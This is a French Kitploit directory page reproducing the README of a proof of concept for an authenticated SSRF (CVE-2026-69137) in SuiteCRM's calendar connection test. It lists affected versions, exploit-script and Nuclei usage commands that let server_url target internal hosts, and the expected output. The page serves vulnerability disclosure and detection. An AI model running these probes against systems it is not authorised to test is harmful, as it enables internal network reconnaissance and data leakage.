Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-69137 — SuiteCRM <= 7.15.1, <= 8.10.1 - SSRF authentifié | Kitploit
Outils/GitHubGitHub/entrovyx/cve-2026-69137
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubentrovyx/cve-2026-69137

CVE-2026-69137

SuiteCRM <= 7.15.1, <= 8.10.1 - SSRF authentifié

Voir le dépôt
12il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-69137 - SSRF authentifiée dans SuiteCRM

Preuve de concept de falsification de requête côté serveur (SSRF) authentifiée pour SuiteCRM via le point de terminaison CalendarAccount/testConnection et le fournisseur caldav_basic.

Résumé

Les versions affectées de SuiteCRM acceptent le paramètre server_url d'un utilisateur authentifié et le transmettent à cURL sans valider la destination. Cela permet des requêtes côté serveur vers des services HTTP locaux (loopback) ou internes. Dans les versions vulnérables, une réponse d'échec de connexion peut également divulguer les données de réponse du service interrogé dans le message d'erreur.

Le PoC s'authentifie avec un compte SuiteCRM valide et requête une URL contrôlée. Sa destination par défaut, http://127.0.0.1:1/, est un port loopback fermé : cela prouve que SuiteCRM a tenté la connexion côté serveur sans requêter de service externe.

Versions affectées

  • Vulnérables : SuiteCRM <= 7.15.1 et <= 8.10.1
  • Corrigées : SuiteCRM 7.15.2 et 8.10.2
  • Avis de sécurité : https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-72r3-24x4-j46c
  • CVE : CVE-2026-69137
  • CWE : CWE-918

Prérequis

  • Python 3
  • Identifiants SuiteCRM valides ou cookie de session authentifié
  • Autorisation de tester l'instance SuiteCRM et toute destination fournie avec --server-url

Aucun paquet Python tiers n'est requis.

Utilisation

Validation locale de base contre SuiteCRM :

python3 CVE-2026-69137.py \
  -u http://127.0.0.1:8081 \
  -U admin \
  -P 'password'

Utilisation d'une session authentifiée existante :

python3 CVE-2026-69137.py \
  -u https://suitecrm.example \
  --cookie 'PHPSESSID=value'

Test d'une destination interne ou contrôlée et autorisée :

python3 CVE-2026-69137.py \
  -u https://suitecrm.example \
  -U user \
  -P 'password' \
  --server-url http://127.0.0.1:8080/

Options

-u, --url                 URL de base de SuiteCRM
-U, --username            Nom d'utilisateur SuiteCRM
-P, --password            Mot de passe SuiteCRM
--cookie                  Valeur de l'en-tête Cookie SuiteCRM authentifié
--server-url              URL requêtée par SuiteCRM ; par défaut : http://127.0.0.1:1/
--timeout                 Délai d'expiration HTTP en secondes ; par défaut : 35
-k, --insecure            Désactiver la vérification du certificat TLS

Sortie attendue

Les versions vulnérables renvoient un échec du test de connexion après traitement de l'URL fournie :

[*] Authenticating with SuiteCRM legacy login...
[*] Sending testConnection request with server_url=http://127.0.0.1:1/
[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.
    Server message: Connection test failed. Network error: Failed to connect to 127.0.0.1 port 1 ...

Les versions corrigées rejettent les destinations non autorisées avant de tenter la connexion :

[+] Target rejected the supplied URL; the SSRF fix appears to be present.

Template Nuclei

CVE-2026-69137.yaml s'authentifie avec username et password, réutilise la session SuiteCRM et effectue la même sonde loopback fermée :

nuclei -u https://suitecrm.example \
  -t CVE-2026-69137.yaml \
  -var username=user \
  -var password='password'

Le template a été validé avec :

nuclei -validate -t CVE-2026-69137.yaml

Remarques

  • N'utilisez --server-url que contre des destinations que vous êtes autorisé à tester.
  • La sonde loopback par défaut est volontairement non destructive et ne contacte aucun service externe.
  • La soumission du template est disponible à l'adresse https://github.com/projectdiscovery/nuclei-templates/pull/17335.
Télécharger l’outil